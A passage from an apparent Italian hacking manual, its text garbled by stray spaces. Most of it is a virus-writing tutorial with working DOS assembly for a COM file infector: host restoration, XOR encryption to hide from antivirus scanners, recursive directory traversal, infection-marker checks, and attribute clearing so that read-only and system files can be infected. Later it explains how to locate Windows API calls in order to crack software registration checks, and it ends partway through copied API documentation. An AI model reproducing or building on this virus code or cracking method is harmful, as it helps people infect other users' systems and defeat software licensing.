V2 cont i ene i l r est o del codi ce.
L ul t i ma par t e di V2 copi a P1 su V1 ( i n memor i a e non su di sco) e qui ndi
t r asf er i sce i l cont r ol l o al l i ni zi o del f i l e ( i n memor i a) .
I l pr ogr amma or i gi nal e ver r esegui t o come se nul l a gl i f osse st at o at t accat o.
Anche i n quest o caso i l codi ce sempl i ce:

MOV SI, V2_START ; V2_START is a LABEL marking where V2 starts
SUB SI, V1_LENGTH ; Go back to where P1 is stored
MOV DI, 0100h ; All COM files are loaded @ CS:[100h] in memory
MOV CX, V1_LENGTH ; Move CX bytes
REP MOVSB ; DS:[SI] - ES:[DI]
MOV DI, 0100h
JMP DI

Quest o codi ce assume che P1 si a al l ocat o appena pr i ma di V2 Thi s code assumes
t hat P1 i s l ocat ed j ust bef or e V2, come i n:

P1_Stored_Here:
.
.
.
V2_Start:

E anche dat o per scont at o che ES si a ugual e a CS.
Se quest o f al so cambi amo i l codi ce r el at i vo.
Quest o un esempi o:

PUSH CS ; Store CS
POP ES ; and move it to ES
; Note MOV ES, CS is not a valid instruction
MOV SI, P1_START ; Move from whereever P1 is stored
MOV DI, 0100h ; to CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB

MOV DI, 0100h
JMP DI

Quest o codi ce pr i ma muove CS i n ES e qui ndi set t a i l punt at or e sor gent e di MOVSB
a dove P1 pi azzat o.
Ri cor dat evi che t ut t o r i f er i t o al l a i n memor i a dove l ocat o P1 e non
r el at i vo ad un f i l e f i si co.
L of f set di P1 di 100h maggi or e del l a l ocazi one del f i l e f i si co i l qual e, come
un . COM, l et t o par t endo dal l a l ocazi one 100h ( CS: 100h) .
Quest o un r i assunt o del l e par t i del vi r us e del l e et i chet t e :

V1_Start:
JMP FAR PTR Duh
Duh DW V2_Start
V1_End:

P2_Start:
P2_End:

P1_Start:
; First part of the program stored here for future use
P1_End:

V2_Start:
; Real Stuff
V2_End:

V1_Length EQU V1_End - V1_Start

Al t er nat i vament e pot et e sal var e P1 i n V2 come segue:

V2_Start:

P1_Start:
P1_End:

V2_End:

Quest o quant o si deve f ar e per i nf et t ar e un f i l e senza di st r ugger l o.
I f i l e . EXE essendo segment at i e qui ndi con header s di t est a e al t r e cosi ne,
sono un p pi compl essi .
Tor ni amo i ndi et r o al l a par t e del r epl i cat or e.
I passi sono i seguent i :

1) Trovare il file
2) Testare se da infettare
3) Infettarlo
4) Se infettato sufficientemente STOP
5) Altrimenti ritorna a 1

Dopo aver t r ovat o i l f i l e l o si apr e, si l eggono i pr i mi byt es e si cont r ol l a se
cor r i spondono ai pr i mi di V1.
Se esi st e quest a cor r i spondenza al l or a si gni f i ca che i l f i l e gi i nf et t at o.
E i mpor t ant e che non venga i nt f et t at o nuvament e l o st esso f i l e.
Quest o dat o dal f at t o che i n gener e un par t e del codi ce vi ene aggi unt a al f i l e
per cui se si cont i nuasse a cont r ol l ar e i l f i l e e se si cont i nuasse ad
aggi unger e i n coda i l r est o . . . .
Se i l f i l e non i nf et t at o :

1) Cambiate gli attributi del file a NULL (resettateli).
2) Salvate la data e il tempo del file.
3) Chiudetelo
4) Apritelo in modo READ/WRITE
5) Salvate P1 e appendetelo alloa fine del file
6) Copiate V1 allinizio ma cambiate loffset a cui salta per trasferirgli il
controllo in modo corretto. Guardate la parte di codice precedente.
7) Appendete V2 alla fine del file
8) Eseguite il restore dei file attributes/date/time.

Tr a l e al t r e cose, del l e qual i abbi amo gi vi st o qul che cosa, ci sono :
Una voce da aggi unger e l a seguent e.

Cancellazione delle tracce

Quest o vi ene def i ni t o i n ger go ( i n i ngl ese) CONCEALER ed quel l a par t e che
nasconde al l a vi st a degl i scanner ant i vi r us i l nost r o ospi t e.
I l met odo pi sempl i ce quel l o del codi f i cat or e.
I l codi ce per un sempl i ce codi f i cat or e a XOR :

encrypt_val db ?
decrypt:
encrypt:
mov ah, encrypt_val

mov cx, part_to_encrypt_end - part_to_encrypt_start
mov si, part_to_encrypt_start
mov di, si

xor_loop:
lodsb ; DS:[SI] - AL
xor al, ah
stosb ; AL - ES:[DI]
loop xor_loop
ret

Not at e che i l codi f i cat or e e i l decodi f i cat or e sono gl i st essi .
Pot et e chi amar e l a pr ocedur a da dovunque nel pr ogr amma ma si at e si cur i di non
chi amar l a da una par t e che deve esser e codi f i cat a se non t ut t o si pi ant er .
Qui ndi scr i vet e i l vi r us, set t at e i l val or e di codi f i ca a 0.
par t _t o_encr ypt _st ar t e par t _t o_encr ypt _end cont engono l ar ea che deve esser e
codi f i cat a.
Usat e una CALL decr ypt al l i ni zi o di V2 per codi f i car e i l f i l e e qui ndi
esegui t e i l pr ogr amma.
Qando si i nf et t a un f i l e, per pr i ma cosa cambi at e i l val or e di encr ypt _val ,
qui ndi esegui t e l a CALL encr ypt , e dopo scr i vet e V2 al l a f i ne del f i l e, e dopo
ancor a esegui t e l a CALL decr ypt .
Ri cor do nuovament e di non esegui r e l a chi amat a da un punt o che deve esser e
codi f i cat o.
Quest o quant o V2 most r a con i l NASCONDI TORE ( conceal er ) :

V2_Start:
Concealer_Start:
.
.
.
Concealer_End:

Replicator_Start:
.
.
.
Replicator_End:

Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:

Al t er nat i vament e pot et e muover e una par t e non codi f i cat a compr essa t r a
Par t _To_Encr ypt _End e V2_End.
La codi f i ca r ende l a vi t a di f f i ci l e agl i scanner .
Essa nasconde anche al cune st r i nghe pr esent i nel vost r o pr ogr amma.
La codi f i ca sol o un met odo per nasconder e i l vi r us ed i nol t r e pot r ebbe
di spor r e di var i ant i .
Un al t r o met odo quel l o di cambi ar e gl i i nt er r upt s i n modo che al cuni r i sul t at i
vengano modi f i cat i e che comunque modi f i chi no i l compor t ament o di cer t i comandi
e ut i l i t i es.
La per t e BOMBA del vi r us ovver o l a par t e che most r a al mondo l a pr opr i a
esi st enza var i a a seconda del l a vost r a f ant asi a.
I o anni f odi avo DB3 per ch per me i pr ogr ammat or i DB3 er ano Mangi at or i di
Ci occor .
Un vi r us anal i zzava gl i i nput e se uno cer cava di i nser i r e l est ensi one DBF ad
un f i l e i l vi r us gl i cambi ava, ment r e l ui scr i veva, una l et t er a del l est ensi one
per cui gl i veni va xxx. DCF, xxxx. DBH e dopo 10 vol t e l o avver t i va che per mot i vi
di or gogl i o i l si st ema si r i f i ut ava di usar e vol gar i f i l es . dbf .
Beh! Pensat e a quant e cose pot r ebber o sor ger e nel l a VOSTRA ( non nel l a mi a) MENTE
MALATA E PERVERSA! !
Una cosa che mi accadut a gr azi e ad un vi r us che ve l a vogl i o r accont ar e l a
seguent e.
Tant i anni f a, nel 1984, i nsegnavo i nf or mat i ca i n un i st i t ut o.
I ni zi ai nel 1984 con i l BASI C e nel 1986 cambi ai l i ndi r i zzo del cor so con i l
LI NGUAGGI O C.
L aul a di l abor at or i o er a i l f i or e al l occhi el l o per gl i i st i t ut i di un t empo
per cui quando veni va una per sonal i t i n vi si t a i l pr esi de l o accompagnava,
or gogl i oso, a veder e quest a cl asse.
I l cor so er a f r equent at o da per sone di ci r ca 23- 24 anni di sesso maschi l e e
f emmi ni l e.
Un anno f u f r quent at o da al cune r agazze NOTEVOLI una del l e qual i f aceva
l i ndossat r i ce di bi ancher i a i nt i ma ( per f ar vi capi r e . . . ) .
Ebbi un i dea geni al e.
Feci un vi r us che una vol t a i nst al l at o a t empi r andomf aceva compar i r e sul vi deo
un i mmagi ne di du4e che si davano DUE COLPETTI e poi spar i vano.
I n pr at i ca t u l avor avi con quel l o che vol evi e di col po
SU. . . GI U. . . SU. . . GI U. . . VI AAA e t ut t o spar i va.
Venne i n vi si t a i l vescovo di una not a ci t t a del l a Si ci l i a e i l pr esi de l o
accompagno a veder e l aul a.
Appena ent r at o si appost o al l e spal l e di una di quest e bel l e r ampol l e e si mi se
ad osser var e i l l avor o che st avano svol gendo, con a f i anco i l pr esi de che er a
t ut t o gonf i o e pavoneggi ant e.
Di col po . . . SU. . . . GI U. . . . SU. . . . GI U , t ant o r api dament e che i l vescovo di sse
sol o : Opps . . . che st at o . . . ho vi st o un nuvol et t a che appar sa e che
subi t o andat a vi a. . . .
I l pr esi de che i nvece aveva avut o i l t empo di capi r e di cosa si t r at t asse passo
dal sor r i so smagl i ant e ad un espr essi one t er r or i zzat a e i l suo cl or e passo t ut t a
l a t avol ozza dei 16 mi l i oni di col or i anche se quel t empo c er a sol o l a CGI con
256 col or i .
Pr ese sot t obr acci o i l vescovo e con una scusa l o por t vi a di l i .
Quando t or no se l a pr ese con t ut t i gl i al unni e devo conf essar e di esser e st at o
super - st r onzo per non aver avut o i l cor aggi o di di r gl i che l o avevo f at t o i o.
Se l o avessi conf essat o sar ei st at o l eal e ma quest o mi o aspet t o di l eal t
sar ebbe st at o sl o r i por t at o sul l a mi a l api de i n qant o non penso che sar ei
soppr avi ssut o al l i mpat t o.
Quest o quel l o che si def i ni sce con i l BOMB di un vi r us ! !
Per BOMB qui ndi si i nt ende quel l o che f a i l vi r i us compar endo ( e magar i quel l a
che vi i nf i l ano i n un or ecchi o per non di r e da qual che al t r a par t e se vi
pescano) .
Quel l a che vi ene def i ni t a come DI STRI BUTI ON quel l al t r a par t e del l a
pr opagazi one del vi r us ovver o quel suppor t o che vol et e usar e per di vul gar l o.
Tut t i quest i vi r us eseguono i l l or o l avor o at t r aver so i l si st ema.
Quest i r endono
Una del l e cose da f ar e i ni zi al ment e l egat a al l a r i cer ca del f i l e da ut i l i zzar e
per l i nser i ment o del codi ce.
I l seguent e pr ogr amma i n assembl er ezsegue l a r i cer ca t r asver sal e nel l e
di r ect or y del si st ema.
I l codi ce una ver si one modi f i cat a del The Funky Bob Ross Vi r us [ Bet a] .

traverse_fcn proc near

push bp ; Create stack frame
mov bp,sp sub sp,44 ; Allocate space for DTA
call infect_directory ; Go to search & destroy routines
mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now!
mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
lea dx,[si+offset dir_mask] ; *.* int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ; Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ; else load dirname
mov ah,3Bh ; and changedir there
int 21h
jc short donext ; Do next if invalid
inc word ptr [si+offset nest] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ; Load space allocated for DTA
mov ah,1Ah ; and set DTA to this new area
int 21h ; 'cause it might have changed
mov ah,4Fh ;Find next int 21h
isdirok:
jnc gonow ; If OK, jmp elsewhere
cmp word ptr [si+offset nest], 0 ; If root directory ; (nest == 0)
jle short cleanup ; then Quit
dec word ptr [si+offset nest] ; Else decrement nest
lea dx, [si+offset back_dir] ; '..'
mov ah,3Bh ; Change directory
int 21h ; to previous one
cleanup:
mov sp,bp
pop bp
ret
traverse_fcn endp

; Variables

nest dw 0
back_dir db '..',0
dir_mask db '*.*',0

La seguent e aggi unt a per met t e di t or nar e i ndi et r o di una di r ect or y ed di
r i pet er e l oper azi one di cont r ol l o nel caso i n cui non si si a t r ovat o i l numer o
vol ut o di pr ogr ammi da usar e come vet t or i del codi ce.

dir_loopy:
call infect_directory
lea dx, [bp+dotdot]
mov ah, 3bh ; CHDIR
int 21h jnc dir_loopy ; Carry set if in root
; Variables
dotdot db '..',0

La f unzi one i nf ect _di r ect or y ut i l i zza i met odi FI NDFI RST e FI NDNEXT per l a
r i cer ca dei f i l es.
Quando vi ene t r ovat o un f i l e bi sogna set t ar e un nuovo DTA e non ut i l i zzar e i l
DTA pr esent e nel PSP dat o che i l pr ogr amma at t i vandol o se ne accor ger ebbe.
La f unzi one del l I NT 21h ( Set DTA) ser ve al l o scopo .

mov ah, 1Ah ; Set DTA
lea dx, [bp+offset DTA] ; to variable called DTA (wow!)
int 21h

A quest o punt o si i nzi a con l a pr ocedur a del FI NFI RST e FI NDNEXT.

mov ah, 4Eh ; Find first file
mov cx, 0007h ; Any file attribute
lea dx, [bp+offset file_mask] ; DS:[DX] -- filemask
int 21h
jc none_found
found_another:
call check_infection
mov ah, 4Fh ; Find next file
int 21h
jnc found_another
none_found:

I nvece di cer car e pr i ma i . EXE e dopo i . COM suf f i ci ent e r i cer car e *. * e poi
cont r ol l ar e se l est ensi one una di quel l e vol ut e.

Un si st ema pr udent e cer ca di non i nf et t ar e f i l es che ver r ebber o cont r ol l at i
f aci l ment e come ad esempi o i l COMMAND. COM.
Se si cont r ol l a i pr i mi due byt e e si t r ova ND al l or a i l f i l e appunt o i l
command. com

cmp wor d pt r [ bp+of f set DTA+35] , ' DN' ; Rever se wor d or der
j z f ai l _check

Un al t r a pr ocedur e che i l pr ogr amma dovr at t i var e l egat a al f at t o di dover
cont r ol l ar e se i l f i l e t r ovat o gi st at o i nf et t at o dal pr ogr amma.
Per f ar e quest o nor mal ment e ci si suppor t a su cer t i pezzi di codi ce che sono
pr esent i nel pr ogr amma.

mov ah, 3Fh ; Read f i r st t hr ee
mov cx, 3 ; byt es of t he f i l e
l ea dx, [ bp+of f set buf f er ] ; t o t he buf f er
i nt 21h
mov ax, 4202h ; SEEK f r omEOF
xor cx, cx ; DX: CX = of f set
xor dx, dx ; Ret ur ns f i l esi ze
i nt 21h ; i n DX: AX
sub ax, vi r us_si ze + 3
cmp wor d pt r [ bp+of f set buf f er +1] , ax
j nz i nf ect _i t

bomb_out :

mov ah, 3Eh ; el se cl ose t he f i l e
i nt 21h ; and go f i nd anot her


I n quest o esempi o si suppone che BX cont enga l handl e del f i l e e che vi r us_si ze
si a l a di mensi one del vi r us.
I n pr at i ca vengono l et t i i pr i mi t r e byt es e dopo i l cont r ol l o vi ene esegui t o un
sal t o.

mov ah, 3Fh ; Read t he f i r st f our
mov cx, 4 ; byt es of t he f i l e i nt o
l ea dx, [ bp+of f set buf f er ] ; t he buf f er .
i nt 21h
cmp byt e pt r [ buf f er +3] , i nf ect i on_i d_byt e ; Check t he f our t h
j z bomb_out ; byt e f or t he mar ker

i nf ect _i t :

La par t e f ondament al e del pr ogr amma i l r epl i cat or e.
Dopo aver t r ovat o un f i l e i doneo necessar i o sal var e gl i at t r i but i di quest o
come dat a, or a e di mensi oni per un uso successi vo.
I l seguent e uno spaccat o del DTA.

Of f set Si ze What i t i s
0h 21 BYTES Reser ved, var i es as per DOS ver si on
15h BYTE Fi l e at t r i but e
16h WORD Fi l e t i me
18h WORD Fi l e dat e
1Ah DWORD Fi l e si ze
1Eh 13 BYTES ASCI I Z f i l ename + ext ensi on
I l seguent e codi ce sal va l e i nf or mazi oni dal DTA.

l ea si , [ bp+of f set DTA+15h] ; St ar t f r omat t r i but es
mov cx, 9 ; Fi ni sh wi t h si ze
l ea di , [ bp+of f set f _at t r ] ; Move i nt o your l ocat i ons
r ep movsb

; Var i abl es needed

f _at t r db ?
f _t i me dw ?
f _dat e dw ?
f _si ze dd ?

Or a possi bi l e cambi ar e gl i at t r i but i t r ami t e I NT 21h/ Funct i on 43h/ Subf unct i on
01h.
Quest o per per met t er e l i nf ezi one di f i l e nascost i , di si st ema e r ead onl y.

l ea dx, [ bp+of f set DTA+1eh] ; DX poi nt s t o f i l ename i n
mov ax, 4301h ; DTA
xor cx, cx ; Cl ear f i l e at t r i but es
i nt 21h ; I ssue t he cal l

A quest o punt o possi bi l e apr i r e i l f i l e e usar e l handl e per l et t ur a e
scr i t t ur a.

l ea dx, [ bp+of f set DTA+1eh] ; Use f i l ename i n DTA
mov ax, 3d02h ; Open r ead/ wr i t e mode
i nt 21h ; duh.
xchg ax, bx ; Handl e i s mor e usef ul i n
; BX

Ed or a i l codi ce per cui si l avor at o f i no ad or a ovver o quel l o per i nf et t ar e.
Quel l o che segue r i guar da i f i l es . COM

; Sampl e COM i nf ect or . Assumes BX hol ds t he f i l e handl e
; Assume COM f i l e passes i nf ect i on cr i t er i a and not al r eady i nf ect ed

mov ah, 3f h
l ea dx, [ bp+buf f er 1]
mov cx, 3
i nt 21h
mov ax, 4200h ; Move f i l e poi nt er t o
xor cx, cx ; t he begi nni ng of t he
xor dx, dx ; f i l e
i nt 21h
mov byt e pt r [ bp+buf f er 2] , 0e9h ; J MP
mov ax, wor d pt r [ bp+f _si ze]
sub ax, par t 1_si ze ; Usual l y 3
mov wor d pt r [ bp+buf f er 2+1] , ax ; of f set of J MP

; Encode J MP i nst r uct i on t o r epl ace begi nni ng of t he f i l e

mov byt e pt r [ bp+buf f er 2] , 0e9h ; J MP
mov ax, wor d pt r [ bp+f _si ze]
sub ax, par t 1_si ze ; Usual l y 3
mov wor d pt r [ bp+buf f er 2+1] , ax ; of f set of J MP

; Wr i t e t he J MP i nst r uct i on t o t he begi nni ng of t he f i l e

mov ah, 40h ; Wr i t e CX byt es t o
mov cx, 3 ; handl e i n BX f r om
l ea dx, [ bp+buf f er 2] ; buf f er - DS: [ DX]
i nt 21h
mov ax, 4202h ; Move f i l e poi nt er t o
xor cx, cx ; end of f i l e
xor dx, dx
i nt 21h
mov ah, 40h ; Wr i t e CX byt es
mov cx, endof vi r us - st ar t of par t 2 ; Ef f ect i ve si ze of vi r us
l ea dx, [ bp+st ar t of par t 2] ; Begi n wr i t e at st ar t
i nt 21h ; Var i abl es buf f er 1

db 3 dup ( ?) ; Saved byt es f r omt he
; i nf ect ed f i l e t o r est or e
; l at er buf f er 2
db 3 dup ( ?) ; Temp buf f er

Per i . EXE bi sogna pr i ma veder e un at t i mo di t eor i a.
Quel l o che segue l header di un f i l e . EXE

Ofs Name Size Comments
00 Signature 2 bytes always 4Dh 5Ah (MZ)
*02 Last Page Size 1 word number of bytes in last page
*04 File Pages 1 word number of 512 byte pages
06 Reloc Items 1 word number of entries in table
08 Header Paras 1 word size of header in 16 byte paras
0A MinAlloc 1 word minimum memory required in paras
0C MaxAlloc 1 word maximum memory wanted in paras
*0E PreReloc SS 1 word offset in paras to stack segment
*10 Initial SP 1 word starting SP value
12 Negative checksum 1 word currently ignored
*14 Pre Reloc IP 1 word execution start address
*16 Pre Reloc CS 1 word preadjusted start segment
18 Reloc table offset 1 word is offset from start of file)
1A Overlay number 1 word ignored if not overlay
1C Reserved/unused 2 words
sono quelli cambiati dal virus

Per capi r e i l t ut t o bi sogna pensar e che i l f i l e . EXE st r ut t ur at o i n segment i .
Quest i segment i possono i ni zi ar e e f i ni r e ovunque.
Quel l o che bi sogna f ar e at t accar e i l codi ce al l a f i ne.

API DI WINDOWS.

La pr esent e par t e non vuol e esser e un manual e compl et o del l e API di Wi ndows
vi st o i l numer o r agguar devol e e qui ndi l o spazi o che occuper ebber o i n numer o di
pagi ne.
I nol t r e non l o scopo di quest o vol ume i nsegnar e l a pr ogr ammazi one i n ambi ent e
Wi ndows ma sol o quel l o di i ndi car e qual i f unzi oni pot r ebber o esser e quel l e
ut i l i zzat e, e qui ndi da i nt er cet t ar e, nel caso di pr ot ezi oni .
Abbi amo vi st o pr i ma che al cune vol t e f unzi oni come Get Dl gI t emText ,
Get Dl gI t emI nt , Get Wi ndowText ecc. er ano quel l e r i cer cat e al f i ne di compr ender e
dove si t r ovavano l e r out i nes che esegui vano l e r i chi est e del l e st r i nghe
r el at i ve ai codi ci .
Al t r e vol t e i l codi ce r el at i vo al l e f unzi oni di gest i one del l e ser i al i zzazi oni
sono pi compl esse, per vol er e dei pr oget t i st i , per cui l i ndi vi duazi one dei
modul i ver i e pr opr i r i sul t a esser e pi compl essa, r aggi ungi bi l e sol t ant o
medi ant e l a r i cer ca di al t r e f unzi oni come ad esempi o quel l e che l eggono e
scr i vono i nf or mazi oni dent r o al f i l e di r egi st r o.
Avr et e not at o che al cune vol t e car i cando dei pr ogr ammi per l a pr i ma vol t a vi
veni va r i chi est o i l numer o di ser i e.
Se per qual che mot i vo vi capi t ava di dover el i mi nar e dal di sco quel pr ogr amma e
poi r i nser i r l o avr et e not at o che i codi ci di at t i vazi one non vi veni vano pi
r i chi est i .
Le i nf or mazi oni i nser i t e l a pr i ma vol t a si cur ament e veni vano sal vat e da qual che
par t e e pr eci sament e nel f i l e di r egi st r o.
Le f unzi oni che eseguono f unzi onal i t su quest o possono esser e dei buoni
obbi et t i vi per i dent i f i car e cer t i modul i .
Nel l e seguent i pagi ne r i por t o un el enco del l e f unzi oni API pi f aci l ment e
ut i l i zzat e nei modul i di cui st i amo par l ando.
Come al sol i t o l e i nf or mazi oni pr ovengono da f i l es f r eewar e t r ovat i su I nt er net .
Come ho det t o al l i ni zi o non si t r at t a di t ut t e l e f unzi oni ma sol o di quel l e
che pot r ebber o esser e ut i l i zzat e nei modul i di r egi st r azi one.
Le f unzi oni spesso sono l e pi svar i at e.
Al cune vol t e ad esempi o vi ene r i chi est o che l i nst al l azi one avvenga dal CD per
cui l e API pot r ebber o esser e quel l e l egat e al cont r ol l o dei di schi qual i
Get Dr i veTypeA oppur e Get Vol umeI nf or mat i on.
Al t r e vol t e pot r ebber o esser e f unzi oni l egat e al l a l et t ur a di campi come ad
esempi o Get Dl gI t emText A ecc.
I nsomma.
Le f unzi oni el encat e sono quel l e maggi or ment e ut i l i zzat e per i nost r i obi et t i vi .
Ri cor dat evi che quest e API vengono i mpor t at e dal pr ogr amma e a ci ascuna gl i
vi ene assegnat o un i ndi r i zzo.
Sof t I ce o Wdasm vi most r ano i n f or ma si mbol i ca i nomi per cui l e r i cer che
avvengono per nome ver o e pr opr i o.
Gl i ar goment i pot r et e r i cavar l i dal l e i nf or mazi oni r i por t at e.
Di ment i cavo che spesso possi amo r i cer car e l e cl assi che f unzi oni di l i br er i a del
C dest i nat e al l a mani pol azi one di st r i nghe come ad esempi o _l st r cmp o _l st r l en.
Quest e possono esser e usat e per compar ar e due st r i nghe, per val ut ar e l a
l unghezza ecc.
C anche da t ener e sempr e pr esent e che l e f unzi oni sono anche r el at i ve al
l i nguaggi o usat o per l a cr eazi one del l e pr ocedur e di t i mel ock.
Al cune vol t e i l pr ogr ammat or e che ha scr i t t o i l pr ogr amma ha i deat o ed
i mpl ement at o anche l e r out i ne di ser i al i zzazi one.
I n quest o caso si cur ament e l e f unzi oni usat e i n t al i r out i ne sono nel l o st esso
l i nguaggi o del r est o del pr ogr amma.
Esi st ono sof t war e commer ci al i che per met t ono l aggi unt a di r out i ne per l a
gest i one dei demo i n f i l e esegui bi l i .
Pr ogr ammi ser i come quel l i di Symant ec, Macr omedi a ecc. usano pr ogr ammi
commer ci al i per l e l or o ver si oni demo.
Quest i sono casi a par t e i n quant o essendo f at t i su mi sur a per quest e f unzi oni
ut i l i zzano met odi mol t o pr of essi onal i l egat i ad al gor i t mi di cr i t t ogr af i a ecc.
Se l e f unzi oni di ser i al i zzazi one sono scr i t t e nel l o st esso l i nguaggi o del
pr ogr amma al l or a si t r at t er di i dent i f i car e qual e i n quant o l e f unzi oni da
cer car e sar anno r el at i ve a quest o.
Supponi amo di cer car e l a f unzi one che f a compar i r e una di al og che avvi sa che i l
codi ce er r at o di un pr ogr amma scr i t t o i n C.
I n quest o caso, l o abbi amo gi vi st o, dovr emmo cer car e una MessageBox.
Se i l pr ogr amma scr i t t o i n Del phi al l or a i l nome del l a f unzi one pot r ebbe
esser e ShowMessage( ) o MessageDl g( ) .
Se i l i nguaggi si suppor t ano sul l e DLL di Wi ndows al l a f i ne ut i l i zzer anno l e
seguent i API .
I nf at t i possi bi l e veder e l e f unzi oni i mpor t at e dei var i RUNTI ME ( di
vi sual basi c, del phi ecc. )
I l seguent e spezzone di l i st a most r a al cune f unzi oni i mpor t at e da Vi sual Basi c:

I mpor t ed f unct i ons : c: \ Wi ndows\ VBRUN300.DLL
============================================
GDI 1 SETBKCOLOR
GDI 2 SETBKMODE
GDI 3 SETMAPMODE
GDI 4 SETROP2
GDI 7 SETSTRETCHBLTMODE
GDI 9 SETTEXTCOLOR
GDI 11 SETWI NDOWORG
GDI 13 SETVI EWPORTORG
GDI 14 SETVI EWPORTEXT
GDI 15 OFFSETWI NDOWORG
GDI 19 LI NETO
GDI 20 MOVETO
GDI 21 EXCLUDECLI PRECT
GDI 22 I NTERSECTCLI PRECT
GDI 23 ARC
GDI 24 ELLI PSE
GDI 26 PI E
GDI 27 RECTANGLE
GDI 28 ROUNDRECT
GDI 29 PATBLT
GDI 30 SAVEDC
GDI 34 BI TBLT
GDI 35 STRETCHBLT
GDI 38 ESCAPE
GDI 39 RESTOREDC
GDI 45 SELECTOBJ ECT
GDI 47 COMBI NERGN
GDI 48 CREATEBI TMAP
GDI 50 CREATEBRUSHI NDI RECT
GDI 51 CREATECOMPATI BLEBI TMAP
GDI 52 CREATECOMPATI BLEDC
GDI 53 CREATEDC
GDI 57 CREATEFONTI NDI RECT
GDI 58 CREATEHATCHBRUSH
GDI 61 CREATEPEN
GDI 62 CREATEPENI NDI RECT
GDI 64 CREATERECTRGN
GDI 66 CREATESOLI DBRUSH
GDI 68 DELETEDC
GDI 69 DELETEOBJ ECT
GDI 70 ENUMFONTS
GDI 74 GETBI TMAPBI TS
GDI 75 GETBKCOLOR
GDI 77 GETCLI PBOX
GDI 80 GETDEVI CECAPS
GDI 82 GETOBJ ECT
GDI 83 GETPI XEL
GDI 85 GETROP2
GDI 87 GETSTOCKOBJ ECT
GDI 91 GETTEXTEXTENT
GDI 92 GETTEXTFACE
GDI 93 GETTEXTMETRI CS
GDI 97 GETWI NDOWORG
GDI 106 SETBI TMAPBI TS
GDI 127 DELETEMETAFI LE
GDI 148 SETBRUSHORG
GDI 150 UNREALI ZEOBJ ECT
GDI 151 COPYMETAFI LE
GDI 153 CREATEI C
GDI 154 GETNEARESTCOLOR
GDI 159 GETMETAFI LEBI TS
GDI 160 SETMETAFI LEBI TS
GDI 172 SETRECTRGN
GDI 175 ENUMMETAFI LE
GDI 176 PLAYMETAFI LERECORD
GDI 351 EXTTEXTOUT
GDI 360 CREATEPALETTE
GDI 363 GETPALETTEENTRI ES
GDI 439 STRETCHDI BI TS
GDI 440 SETDI BI TS
GDI 441 GETDI BI TS
GDI 442 CREATEDI BI TMAP
KERNEL 1 FATALEXI T
KERNEL 3 GETVERSI ON
KERNEL 4 LOCALI NI T
KERNEL 5 LOCALALLOC
KERNEL 6 LOCALREALLOC
KERNEL 7 LOCALFREE
KERNEL 8 LOCALLOCK
KERNEL 9 LOCALUNLOCK
KERNEL 10 LOCALSI ZE
KERNEL 15 GLOBALALLOC
KERNEL 16 GLOBALREALLOC
KERNEL 17 GLOBALFREE
KERNEL 18 GLOBALLOCK
KERNEL 19 GLOBALUNLOCK
KERNEL 20 GLOBALSI ZE
KERNEL 21 GLOBALHANDLE
KERNEL 22 GLOBALFLAGS
KERNEL 23 LOCKSEGMENT
KERNEL 24 UNLOCKSEGMENT
KERNEL 30 WAI TEVENT
KERNEL 36 GETCURRENTTASK
KERNEL 37 GETCURRENTPDB
KERNEL 46 FREEMODULE
KERNEL 47 GETMODULEHANDLE
KERNEL 49 GETMODULEFI LENAME
KERNEL 50 GETPROCADDRESS
KERNEL 52 FREEPROCI NSTANCE
KERNEL 57 GETPROFI LEI NT
KERNEL 58 GETPROFI LESTRI NG
KERNEL 60 FI NDRESOURCE
KERNEL 62 LOCKRESOURCE
KERNEL 64 ACCESSRESOURCE
KERNEL 65 SI ZEOFRESOURCE
KERNEL 74 OPENFI LE
KERNEL 81 _LCLOSE
KERNEL 82 _LREAD
KERNE 84_LLSEEK


Per mot i vi di spazi o l a l i st a st at a t r oncat a.
Se vol et e r i cost r ui r l e r el at i ve ad ogni RunTi me pot et e usar e ScanBi n sul l e DLL
t i po VBRUN400. DLL ecc.
I l nome pr i ma del numer o e del nome del l a f unzi one l a DLL da cui pr ovi ene.
I t est i sono or i gi nal i i n l i ngua i ngl ese per evi t ar e mi e i nt er pr et azi oni er r at e.

GetDlgItem

The Get Dl gI t em f unct i on r et r i eves t he handl e of a cont r ol i n t he speci f i ed
di al og box.

HWND Get Dl gI t em(
HWND hDl g, / / handl e of di al og box
i nt nI DDl gI t em / / i dent i f i er of cont r ol
) ;

Par amet er s

hDl g

I dent i f i es t he di al og box t hat cont ai ns t he cont r ol .

nI DDl gI t em

Speci f i es t he i dent i f i er of t he cont r ol t o be r et r i eved.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he wi ndow handl e of t he gi ven
cont r ol .
I f t he f unct i on f ai l s, t he r et ur n val ue i s NULL, i ndi cat i ng an i nval i d di al og
box handl e or a nonexi st ent cont r ol .

Remarks

You can use t he Get Dl gI t emf unct i on wi t h any par ent - chi l d wi ndow pai r , not j ust
wi t h di al og boxes. As l ong as t he hDl g par amet er speci f i es a par ent wi ndow and
t he chi l d wi ndow has a uni que i dent i f i er ( as speci f i ed by t he hMenu par amet er i n
t he Cr eat eWi ndow or Cr eat eWi ndowEx f unct i on t hat cr eat ed t he chi l d wi ndow) ,
*Get Dl gI t emr et ur ns a val i d handl e t o t he chi l d wi ndow.

See Al so

Cr eat eWi ndow, Cr eat eWi ndowEx, Get Dl gI t emI nt , Get Dl gI t emText
GetDlgItemInt

The Get Dl gI t emI nt f unct i on t r ansl at es t he t ext of a speci f i ed cont r ol i n a
di al og box i nt o an i nt eger val ue.

UI NT Get Dl gI t emI nt (
HWND hDl g, / / handl e t o di al og box
i nt nI DDl gI t em, / / cont r ol i dent i f i er
BOOL *l pTr ansl at ed, / / poi nt s t o var i abl e t o r ecei ve success/ f ai l ur e i ndi cat or
BOOL bSi gned / / speci f i es whet her val ue i s si gned or unsi gned
) ;

Par amet er s

hDl g

Handl e t o t he di al og box t hat cont ai ns t he cont r ol of i nt er est .

nI DDl gI t em

Di al og i t emi dent i f i er t hat speci f i es t he cont r ol whose t ext i s t o be
t r ansl at ed.

l pTr ansl at ed

